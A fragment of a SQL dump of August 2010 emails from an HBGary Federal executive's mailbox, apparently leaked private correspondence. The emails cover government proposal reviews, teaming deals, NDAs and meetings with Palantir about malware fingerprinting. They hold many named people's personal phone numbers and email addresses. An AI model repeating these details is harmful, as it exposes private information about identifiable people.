\r\n\r\n',9089,'aaron_hbgary_com/9089.html'),(10203,'2010-08-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007952.M533930P14101Q5058.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Logos','---------- Forwarded message ----------\r\nFrom: DeeAnn Buonaccorsi \r\nDate: Wed, Aug 11, 2010 at 2:52 PM\r\nSubject: RE: Logos\r\nTo: Ted Vera \r\n\r\n\r\nHi Ted,\r\n\r\nAttached are all logo\'s I have.  Have fun with them.  If you cannot find the\r\none you need contact Michael Snyder.\r\n\r\nDeeAnn Buonaccorsi\r\nOffice Manager\r\nHBGary, Inc.\r\n3604 Fair Oaks Blvd.  Suite 250\r\nSacramento, CA  95864\r\nTel:  916-459-4727 ext. 101\r\nFax: 916-481-1460\r\nEmail  deeann@hbgary.com\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Wednesday, August 11, 2010 1:43 PM\r\nTo: DeeAnn Buonaccorsi\r\nSubject: Logos\r\n\r\nHi Dee Ann,\r\n\r\nDo you have any HBGary logos that are in vector format (so I can scale\r\nthem up or down without degrading quality)?  I need logos that present\r\nwell on both a white background and black background.\r\n\r\nTed\r\n\r\n--\r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',5330,'aaron_hbgary_com/5330.html'),(10204,'2010-08-12','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','/aaron@hbgary.com/new/1297007953.M562705P14101Q5059.eml','\"Fertal, Martin J (TASC)\" <Martin.Fertal@TASC.com>,\"Friedman, Bruce L (IS)\" <bruce.friedman@ngc.com>,\"Sanderson, Robert\" <robert.sanderson@telos.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Fertal, Martin J (TASC)\" <Martin.Fertal@TASC.com>,\"Friedman, Bruce L (IS)\" <bruce.friedman@ngc.com>','TSA ITSSS Pre-Pink Review','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nhave reviewed all of the Volume 1 Sections provided by the Team.&nbsp; As a\r\nwhole, I am pleased.&nbsp; Now that we have all of the sections, we have a fair\r\nPink Team position. BUT, I want to ratchet it up to Red Team Level for\r\nMonday&#8217;s review. In my experience, the most critical part the proposal\r\nprocess is the translation of the outline into 1st draft text.&nbsp;\r\nErrors at this level have a tendency to stick around through Gold Team.&nbsp;\r\nSo &#8211; I want each of you to review your own material and ensure we are\r\ntelling a story that the TSA will understand and agree with. Tailor your\r\nmaterial as tightly as possible to the customer &#8211; make them want to\r\npick us.&nbsp; \r\n\r\n&nbsp;\r\n\r\nOk\r\n&#8211; a few global comments:\r\n\r\n&nbsp;\r\n\r\n1.&nbsp;&nbsp;&nbsp;\r\nWin Themes &#8211; nary a one did I find.&nbsp; Use the\r\nattached theme file and integrate the appropriate ones into your sections\r\n\r\n2.&nbsp;&nbsp;&nbsp;\r\nExperience &#8211; It is important to support our\r\napproach with an experience statement.&nbsp; Pick one (or two) from your company&#8217;s\r\nbroad experience base and insert a sentence or two into your narrative like\r\nthis: The DMI Team has performed XYZ for &#8230;..\r\n\r\n3.&nbsp;&nbsp;&nbsp;\r\nStaffing by Task &#8211; I know that we do not have a clear\r\npicture yet of the total required staffing level and skill mix. But some of the\r\ntasks appear to be simple.&nbsp; I have provided comments that should\r\nhelp.&nbsp; We should be able to accurately staff 1.3.4 and 1.3.5.\r\n\r\n4.&nbsp;&nbsp;&nbsp;\r\nExhibits &#8211; I tried to catch all of the graphics\r\nand tables and provide Exhibit numbers.&nbsp; If I missed any, please insert\r\nthem.&nbsp; The Exhibit Number and title go on top of the graphic/table.&nbsp;\r\nThe action caption goes at the bottom\r\n\r\n5.&nbsp;&nbsp;&nbsp;\r\nGraphics. And speaking of graphics, please ensure you\r\nsend me your graphics in the source language\r\n\r\n6.&nbsp;&nbsp;&nbsp;\r\nCompleteness &#8211; I want it all!. Every section, every\r\ntable (with the possible exception of the staffing table) completed, all\r\ngraphics in place, and all themes implemented\r\n\r\n7.&nbsp;&nbsp;&nbsp;\r\nSection Themes. &#8211; Each section (1.3.1 etc) starts\r\nwith a solution theme (e.g. Boy howdy do we know how to do Sekurity\r\nreal good). I want a solution theme at the head of each section that\r\nrelates to what we are offering. These are themes that you create &#8211; they are\r\nnot the Win Themes.\r\n\r\n&nbsp;\r\n\r\nIn\r\nsome sections, I found blank subsections or a statement of lack of\r\nexperience or needing help. Bring these to the attention of the Team\r\nat tomorrow&#8217;s Team Morning Call. We will get you help.\r\n\r\n&nbsp;\r\n\r\nAnd\r\nfinally, not only do I want it all, I want it by Saturday 2PM. \r\n\r\n&nbsp;\r\n\r\nI\r\nappreciate everyone&#8217;s hard work.&nbsp; We currently have a &#8220;Yellow&#8221;\r\nproposal &#8211; let&#8217;s move it &#8220;Green&#8221; for Monday&#8217;s\r\nreview.\r\n\r\n&nbsp;\r\n\r\nThanx\r\n\r\nKirby\r\n\r\n703-966-7887\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4205,'aaron_hbgary_com/4205.html'),(10205,'2010-08-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007953.M803863P14101Q5060.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: ASTEROID Capabilities Matrix','---------- Forwarded message ----------\r\nFrom: Chisholm, Chris (US SSA) \r\nDate: Wed, Aug 11, 2010 at 2:35 PM\r\nSubject: ASTEROID Capabilities Matrix\r\nTo: \"mark@hbgary.com\" , Ted Vera \r\n\r\n\r\nMark/Ted,\r\n\r\n\r\n\r\nNow that we have an NDA in place, the next step in the teaming process\r\nis completion and assessment of organizational capabilities matrices.\r\nAttached is a Capabilities Matrix based upon our current best estimate\r\nof likely ASTEROID requirements.  Please fill in the matrix and return\r\nto me NLT 20 August 2010.  The completed matrix will be key to our\r\nteaming discussions leading to final team member selection and team\r\nstructure.\r\n\r\n\r\n\r\nPlease reply to this e-mailing, confirming receipt of the Capabilities Matrix.\r\n\r\n\r\n\r\nIf you have any questions, do not hesitate to contact me.\r\n\r\n\r\n\r\nThanks,\r\n\r\nChris\r\n\r\n\r\n\r\nRobert H. (Chris) Chisholm\r\n\r\nBAE Systems Aerospace Solutions\r\n\r\nManager, Mission Solutions Development\r\n\r\n3060 Venture Lane, Suite 102\r\n\r\nMelbourne, FL  32934\r\n\r\nOffice:  321-757-5249 ext 1934\r\n\r\nCell:  321-431-0966\r\n\r\nFax:  321-259-8181\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',13280,'aaron_hbgary_com/13280.html'),(10206,'2010-08-12','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007954.M281766P14101Q5062.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: TSA ITSSS Section 1.3 IA Tech Services','Dale FROM TSA will be at GFIRST maybe we should go out Tuesday night?  You can meet him socially and go from there?\r\nOn Thu, Aug 12, 2010 at 12:28 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nContent for the technical services portion of the TSA Proposal so far.  Pink Team review is Monday. \r\n\r\nThis will be an important win and given their requirements we have a decent shot.  As I mentioned I am pitching the whole suite of HBGary products as well as Fidelis and Palantir for this effort.  Proposal is due 30Aug with an award by 30Sept.  Total value to HBGary Fed will be $15M approximately over 5 years.  ODC (product) is separate.\r\n\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\nFrom: Kirby Kintner &lt;kkintner@digitalmanagement.com&gt;\r\n\r\nDate: August 12, 2010 3:22:39 PM EDT\r\n\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nCc: John Fanguy &lt;jfanguy@digitalmanagement.com&gt;\r\n\r\nSubject: TSA ITSSS Section 1.3 IA Tech Services\r\n\r\n\r\n\r\nThank you for developing this section. You have made great progress.\r\n \r\nDMI pushed the Pink Team review back to Monday because several of the sections were not ready for review. Therefore, I have taken this opportunity to review and comment upon your submission.  Please review the attached file.  If have questions, it is easier to get a full explanation by calling me – I type slowly. Use 703-966-7887.\r\n\r\n \r\nPlease use the attached file to update your section. Please provide your graphic  in source language.\r\n \r\n \r\nAlso, I need two things from you:  A scalable logo and a description of your company.  RSVP with these elements today.  Here are 2  samples of what I am looking for\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n·   Information Assurance  engineering, guidelines/plans/policies, requirements analysis, exercise support, capabilities development\r\n\r\n·   Computer, network, and telecoms vulnerability discovery, analysis, exploitation, and protection\r\n\r\n·   Develop C&amp;A packages based on industry and specific agency standards\r\n\r\n·   Cyber Warrior Training Program (multiple courses and skill levels)\r\n\r\n·   Nationwide Distributed Enterprise Security Lab  - TASC Research Lab\r\n\r\n·   Computer, networks, and telecommunications switch and network vulnerability analysis, intrusion detection, digital forensics\r\n\r\n\r\n\r\n\r\nHBGary\r\n\r\n\r\n·    \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n·   Palantir Technologies developed a general purpose analytic platform for an  intelligence infrastructure\r\n\r\n \r\n \r\nThanx\r\nKirby\r\n703-966-7887\r\n \r\n \r\n\r\n\r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',442,'aaron_hbgary_com/442.html'),(10207,'2010-08-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007954.M565906P14101Q5063.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','Re: TSA ITSSS Section 1.3 IA Tech Services','Ted you should definitely meet with Dale.AaronOn Aug 12, 2010, at 4:55 PM, Maria Lucas wrote:Dale FROM TSA will be at GFIRST maybe we should go out Tuesday night?&nbsp; You can meet him socially and go from there?\r\nOn Thu, Aug 12, 2010 at 12:28 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nContent for the technical services portion of the TSA Proposal so far. &nbsp;Pink Team review is Monday. \r\n\r\nThis will be an important win and given their requirements we have a decent shot. &nbsp;As I mentioned I am pitching the whole suite of HBGary products as well as Fidelis and Palantir for this effort. &nbsp;Proposal is due 30Aug with an award by 30Sept. &nbsp;Total value to HBGary Fed will be $15M approximately over 5 years. &nbsp;ODC (product) is separate.\r\n\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\nFrom: Kirby Kintner &lt;kkintner@digitalmanagement.com&gt;\r\n\r\nDate: August 12, 2010 3:22:39 PM EDT\r\n\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nCc: John Fanguy &lt;jfanguy@digitalmanagement.com&gt;\r\n\r\nSubject: TSA ITSSS Section 1.3 IA Tech Services\r\n\r\n\r\n\r\nThank you for developing this section. You have made great progress.\r\n&nbsp;\r\nDMI pushed the Pink Team review back to Monday because several of the sections were not ready for review. Therefore, I have taken this opportunity to review and comment upon your submission.&nbsp; Please review the attached file.&nbsp; If have questions, it is easier to get a full explanation by calling me – I type slowly. Use 703-966-7887.\r\n\r\n&nbsp;\r\nPlease use the attached file to update your section. Please provide your graphic &nbsp;in source language.\r\n&nbsp;\r\n&nbsp;\r\nAlso, I need two things from you:&nbsp; A scalable logo and a description of your company.&nbsp; RSVP with these elements today.&nbsp; Here are 2 &nbsp;samples of what I am looking for\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp;&nbsp;&nbsp;Information Assurance&nbsp; engineering, guidelines/plans/policies, requirements analysis, exercise support, capabilities development\r\n\r\n·&nbsp;&nbsp;&nbsp;Computer, network, and telecoms vulnerability discovery, analysis, exploitation, and protection\r\n\r\n·&nbsp;&nbsp;&nbsp;Develop C&amp;A packages based on industry and specific agency standards\r\n\r\n·&nbsp;&nbsp;&nbsp;Cyber Warrior Training Program (multiple courses and skill levels)\r\n\r\n·&nbsp;&nbsp;&nbsp;Nationwide Distributed Enterprise Security Lab&nbsp; - TASC Research Lab\r\n\r\n·&nbsp;&nbsp;&nbsp;Computer, networks, and telecommunications switch and network vulnerability analysis, intrusion detection, digital forensics\r\n\r\n\r\n\r\n\r\nHBGary\r\n\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp;&nbsp;&nbsp;Palantir Technologies developed a general purpose analytic platform for an&nbsp; intelligence infrastructure\r\n\r\n&nbsp;\r\n&nbsp;\r\nThanx\r\nKirby\r\n703-966-7887\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com &nbsp;&nbsp;\r\n',7276,'aaron_hbgary_com/7276.html'),(10208,'2010-08-12','\"John Edwards\" <John.Edwards@agilex.com>','/aaron@hbgary.com/new/1297007954.M73235P14101Q5061.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting - Finally','I\'m good most days next week.\r\nLet me know,\r\nJohn\r\n\r\nOn Aug 12, 2010, at 4:26 PM, Aaron Barr wrote:\r\n\r\n> Hey John,\r\n> \r\n> When would you like to get together?\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Aug 9, 2010, at 3:45 PM, John Edwards wrote:\r\n> \r\n>> Can you shoot me your social?  I need to get your clearances passed to me.  Our security officer can vet and validate.\r\n>> \r\n>> On Aug 9, 2010, at 3:22 PM, Aaron Barr wrote:\r\n>> \r\n>>> Other folks were cleared just need reinstated.\r\n>>> \r\n>>> Sent from my iPhone\r\n>>> \r\n>>> On Aug 9, 2010, at 3:21 PM, John Edwards  wrote:\r\n>>> \r\n>>>> One quick question:  Any one from your side cleared yet?\r\n>>>> \r\n>>>> On Aug 9, 2010, at 3:08 PM, Aaron Barr wrote:\r\n>>>> \r\n>>>>> Rgr.  I am open working on a proposal, so flexible.\r\n>>>>> \r\n>>>>> Aaron\r\n>>>>> \r\n>>>>> Sent from my iPhone\r\n>>>>> \r\n>>>>> On Aug 9, 2010, at 3:01 PM, John Edwards  wrote:\r\n>>>>> \r\n>>>>>> Aaron,\r\n>>>>>> Lets\' set something up for next week (16th).  There are a couple of things I need to talk to you about.  One has a short time-fuse.\r\n>>>>>> John\r\n>>>>>> \r\n>>>>>> On Jul 21, 2010, at 12:43 AM, Aaron Barr wrote:\r\n>>>>>> \r\n>>>>>>> John,\r\n>>>>>>> \r\n>>>>>>> How about first week of August?  I am on family vacation starting\r\n>>>>>>> Thursday then blackhat.\r\n>>>>>>> \r\n>>>>>>> Aaron\r\n>>>>>>> \r\n>>>>>>> Sent from my iPad\r\n>>>>>>> \r\n>>>>>>> On Jul 20, 2010, at 1:44 PM, John Edwards  wrote:\r\n>>>>>>> \r\n>>>>>>>> Aaron,\r\n>>>>>>>> I\'m good later this week or next -- let me know what works for you\r\n>>>>>>>> \r\n>>>>>>>> On Jul 15, 2010, at 12:55 AM, Aaron Barr wrote:\r\n>>>>>>>> \r\n>>>>>>>>> Hi John,\r\n>>>>>>>>> \r\n>>>>>>>>> I have been meeting with some folks lately and your name keeps coming up, so probably a from my side definitely worth getting together and chatting a bit.  Most of it lately has been around your Apple capabilities and a few developers you have.  Probably some larger things that would be worth discussing.\r\n>>>>>>>>> \r\n>>>>>>>>> Let me know when you have some time.\r\n>>>>>>>>> \r\n>>>>>>>>> Aaron Barr\r\n>>>>>>>>> CEO\r\n>>>>>>>>> HBGary Federal Inc.\r\n>>>>>>>>> \r\n>>>>>>>> \r\n>>>>>> \r\n>>>> \r\n>> \r\n> \r\n\r\n',576,'aaron_hbgary_com/576.html'),(10209,'2010-08-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007954.M809627P14101Q5064.eml','\"Aaron Zollman\" <azollman@palantir.com>,\"Aaron Zollman\" <azollman@palantir.com>,,','Re: Continuing discussion / palantir + malware intelligence','ok Ted can you support 12:30 tomorrow?AaronOn Aug 12, 2010, at 10:16 AM, Aaron Zollman wrote:&nbsp;Tomorrow, 12:30 looks best for Matt and me; we could also do late this afternoon around 4.&nbsp;_________________________________________________________Aaron ZollmanPalantir Technologies | Embedded Analystazollman@palantirtech.com&nbsp;| 202-684-8066&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, August 12, 2010 7:59 AMTo:&nbsp;Aaron ZollmanCc:&nbsp;Matthew Steckman; Jeff Wootton; Ted VeraSubject:&nbsp;Re: Continuing discussion / palantir + malware intelligence&nbsp;Hi Aaron,&nbsp;Absolutely,&nbsp;I had some deadlines for the TSA proposal that was due yesterday/today that had me focused. &nbsp;What is your schedule Today, tomorrow, monday, or tuesday?&nbsp;Aaron&nbsp;On Aug 9, 2010, at 8:25 PM, Aaron Zollman wrote:Aaron,&nbsp;We’d talked about setting up a call this week and, a webex discussion soon after, to collaborate on the malware fingerprinting &amp; intelligence Greg presented at Black Hat.&nbsp;Matt and I are both available all Wednesday morning for that first call; is there any time that that works for your guys?&nbsp;I’m also confirmed to be in California next week from August 15th-20th, if it makes sense to do a follow-on discussion in Sacramento.&nbsp;_________________________________________________________Aaron ZollmanPalantir Technologies | Embedded Analystazollman@palantirtech.com&nbsp;| 202-684-8066&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, August 04, 2010 7:49 PMTo:&nbsp;Aaron ZollmanCc:&nbsp;Matthew SteckmanSubject:&nbsp;Re: Invitation: Lunch at Palantir @ Thu Aug 5 12pm - 1pm (msteckman@palantirtech.com)&nbsp;Yummy. &nbsp;I\'ll be there.Sent from my iPhoneOn Aug 4, 2010, at 7:42 PM, Aaron Zollman &lt;azollman@palantir.com&gt; wrote:&nbsp;I can preview the proposition – having watched Greg’s talk at Blackhat, I think you guys really should see what we’re doing with Object Explorer in 3.0. Fantastic talk – even if it did have 7 maltego slides and only one Palantir one&nbsp;J.&nbsp;The fingerprint tool pulls out very specific, named features of malware for clustering; OE is really good at starting with hundreds of thousands (or millions) of objects and drilling down and then charting based on specific features. So, if you want to only find malware with a specific keylogger *and* a specific exfil library and then chart the timeline over which it was collected, it’s about a a 7-click operation. And super-fast, too, even across a million fingerprint output objects.&nbsp;Mind you, I don’t have a malware library to run fingerprint against, so I’ll demo what we’ve done with network logs. But you guys *do* have a malware library. Maybe we even contributed a few samples to it.&nbsp;FWIW, Palantir lunch line tomorrow is clam &amp; seafood bake, if I read the sign correctly.&nbsp;_________________________________________________________Aaron ZollmanPalantir Technologies | Embedded Analystazollman@palantirtech.com&nbsp;| 202-684-8066&nbsp;&nbsp;_____________________________________________From:&nbsp;Matthew Steckman&nbsp;Sent:&nbsp;Wednesday, August 04, 2010 7:37 PMTo:&nbsp;Aaron BarrCc:&nbsp;Aaron ZollmanSubject:&nbsp;RE: Invitation: Lunch at Palantir @ Thu Aug 5 12pm - 1pm (msteckman@palantirtech.com)&nbsp;&nbsp;Unfortunately disaster struck on one of my sites and I have to be downtown at this time tomorrow.&nbsp;You still want to come to meet with Zollman?&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantir.com&nbsp;| 202-257-2270&nbsp;&nbsp;-----Original Appointment-----From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, August 04, 2010 6:40 PMTo:&nbsp;Aaron Barr; Matthew SteckmanSubject:&nbsp;Invitation: Lunch at Palantir @ Thu Aug 5 12pm - 1pm (msteckman@palantirtech.com)When:&nbsp;Thursday, August 05, 2010 12:00 PM-1:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).Where:&nbsp;Palantir Lunch Line&nbsp;&nbsp;more details »Lunch at PalantirWhen&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Thu Aug 5 12pm – 1pm&nbsp;Eastern Time&nbsp;Where&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Palantir Lunch Line (map)&nbsp;Calendar&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;msteckman@palantirtech.com&nbsp;Who&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;•&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Aaron Barr&nbsp;- organizer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;•&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;msteckman@palantirtech.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Going?&nbsp;&nbsp;&nbsp;Yes&nbsp;-&nbsp;Maybe&nbsp;-&nbsp;No&nbsp;&nbsp;&nbsp;&nbsp;more options »Invitation from&nbsp;Google CalendarYou are receiving this courtesy email at the account&nbsp;msteckman@palantirtech.com&nbsp;because you are an attendee of this event.To stop receiving future notifications for this event, decline this event. Alternatively you can sign up for a Google account athttps://www.google.com/calendar/&nbsp;and control your notification settings for your entire calendar.&lt;&lt; File: invite.ics &gt;&gt;&nbsp;&nbsp;',12641,'aaron_hbgary_com/12641.html'),(10210,'2010-08-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007955.M71263P14101Q5065.eml','\"Greg Hoglund\" <greg@hbgary.com>','Palantir','Greg,\r\n\r\nPalantir would like to work more with us in developing some interesting models around some of the threat/fingerprint data.  Aaron Zollman has got some time over the next few months to dedicate to this.  How do you want to be involved in this?  Aaron is also going to be out in San Jose/Sacramento area next week.\r\n\r\nAaron\r\n\r\n',12715,'aaron_hbgary_com/12715.html'),(10211,'2010-08-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007956.M438208P14101Q5066.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','We voted','We like the green.\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',12737,'aaron_hbgary_com/12737.html'),(10212,'2010-08-12','\"John Farrell\" <jfarrell@icscorp.com>','/aaron@hbgary.com/new/1297007957.M728131P14101Q5067.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Discuss new business opportunities?','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nIt was great seeing you again. I&#8217;m glad we\r\nwere able to connect and talk about join business opportunities. I would really\r\nlike to see how we might collaborate on more projects. I can help introduce you\r\nto our Program Managers so we can start there, but I know several customers who\r\nshould hear the story too.\r\n\r\n&nbsp;\r\n\r\nLet me know what you decide to do about\r\nthe J2 Cyber Com opp. I can&#8217;t see us going after it as a prime, but I am\r\ninterested to in getting work up there on future solicitations.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nHere&#8217;s the NDA we discussed for\r\nthe NGEN ISOO&amp;A opportunity (SPAWARHEADQUARTERSMKTSVY7D712).&nbsp;\r\nPlease review and fill out all appropriate contact information (areas\r\nhighlighted in gray).&nbsp; \r\n\r\n&nbsp;\r\n\r\nIf all terms and conditions are acceptable, please sign,\r\nscan, and return directly to contracts@icscorp.com\r\nfor signing on behalf of ICS.&nbsp; Once this is done, ICS will return a fully\r\nexecuted copy for your records.&nbsp; \r\n\r\n&nbsp;\r\n\r\nOtherwise, please use &#8220;track changes&#8221; feature of MS Word to\r\nidentify your proposed changes.&nbsp; Please send the changes to contracts@icscorp.com\r\n&nbsp;for review.&nbsp; \r\n\r\n&nbsp;\r\n\r\nPlease copy me on any emails to ICS contracts so that I may\r\nfollow up.&nbsp; Should you have any questions or comments please feel free to\r\ncontact me at 301-695-8800 or jfarrell@icscorp.com.&nbsp; \r\n\r\n&nbsp;\r\n\r\nICS Contracts Department Information:\r\n\r\nJulianne Hagan\r\n\r\nDirector of Contracts\r\n\r\n301-695-8800 ext 284\r\n\r\njhagan@icscorp.com\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nI can send you the PWS and our\r\ncapabilities matrix template so you can start to review/complete it. We&#8217;re\r\nsending out the TAs soon too. I think HBG Federal will be a nice addition to\r\nour team.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nJohn\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nJohn M. Farrell\r\n\r\n(301) 768-0186\r\n\r\njfarrell@icscorp.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, August 12, 2010\r\n1:06 PM\r\nTo: John Farrell\r\nSubject: Re: Discuss new business\r\nopportunities?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAlmost there\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 12, 2010, at 1:08 PM, John Farrell &lt;jfarrell@icscorp.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI am here at Greenberry\'s. Give me a call if you need\r\nto reschedule. Thanks\r\nJohn\r\n3017680186\r\n\r\n----- Original Message -----\r\nFrom: John Farrell\r\nTo: \'aaron@hbgary.com\' &lt;aaron@hbgary.com&gt;\r\nSent: Mon Jul 26 15:00:36 2010\r\nSubject: Re: Discuss new business opportunities?\r\n\r\nAaron,\r\nGreetings. Hope all is well. Give me a good time and number to reach you. Let\'s\r\ncatch up soon.\r\nJohn\r\n301.768.0186 cell\r\n\r\n----- Original Message -----\r\nFrom: John Farrell\r\nTo: aaron@hbgary.com &lt;aaron@hbgary.com&gt;\r\nSent: Wed Jun 23 16:39:18 2010\r\nSubject: Discuss new business opportunities?\r\n\r\nAaron,\r\n\r\n\r\n\r\nHow are things going? When are you available to talk about joint business\r\nopportunities? I&#8217;m at ICS now and working to expand their business development\r\nefforts. We just won a contract at MSC and we&#8217;re chasing several security\r\nopportunities across DOD, Civilian and IC. Let me know your schedule and let&#8217;s\r\nget together soon.\r\n\r\n\r\n\r\nJohn\r\n\r\n\r\n\r\nJohn M. Farrell\r\n\r\nDirector of Technical Services\r\n\r\nIntegrated Communication Solutions, Inc.\r\n\r\n(301) 768-0186\r\n\r\njfarrell@icscorp.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',636,'aaron_hbgary_com/636.html'),(10213,'2010-08-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007957.M957854P14101Q5068.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: We voted','Better than red?\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 12, 2010, at 5:15 PM, Ted Vera  wrote:\r\n\r\n> We like the green.\r\n>\r\n>\r\n>\r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n> \r\n> \r\n',3771,'aaron_hbgary_com/3771.html'),(10214,'2010-08-12','\"John Farrell\" <jfarrell@icscorp.com>','/aaron@hbgary.com/new/1297007959.M852646P14101Q5069.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Discuss new business opportunities?','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nHere&#8217;s the PWS and our template. I know\r\nyou are swamped, but appreciate your support. I think you will see how this\r\nfits well with your offering/skills. Thanks!\r\n\r\n&nbsp;\r\n\r\nJohn\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nJohn M. Farrell\r\n\r\n(301) 